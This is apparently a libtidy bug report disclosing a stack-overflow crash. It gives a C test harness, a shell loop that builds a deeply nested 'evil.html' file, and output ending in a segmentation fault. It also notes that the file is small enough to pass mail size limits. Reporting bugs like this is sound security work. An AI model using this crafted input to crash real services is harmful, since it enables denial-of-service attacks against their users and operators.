Recursion limit exceeded #850
Description
libtidy is missing an API to set a recursion limit. For a bit of nesting of HTML tags, one can crash certain programs that make use of libtidy.
$ cat tr.c
#include <tidybuffio.h>
int main()
{
TidyDoc tdoc = tidyCreate();
tidyOptSetBool(tdoc, TidyHideComments, yes);
tidyOptSetBool(tdoc, TidyReplaceColor, yes);
tidyOptSetBool(tdoc, TidyPreserveEntities, yes);
tidySetCharEncoding(tdoc, "utf8");
tidyParseFile(tdoc, "evil.html");
}
$ gcc tr.c `pkg-config tidy --cflags --libs` -Wall -ggdb3
$ (for((i = 0; i < 16384; ++i)); do echo -en "<b>"; done; for ((i = 0; i < 16384; ++i)); do echo -en "</b>"; done) >evil.html
$ ulimit -Ss 2048
$ ./a.out
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting implicit <body>
...
line 1 column 39031 - Warning: nested emphasis <b>
Segmentation fault (core dumped)
2MB is the typical stack size for glibc-linux threads, and this evil.html is only 114KB in size, meaning it generally does not get held up by size limits of MTAs.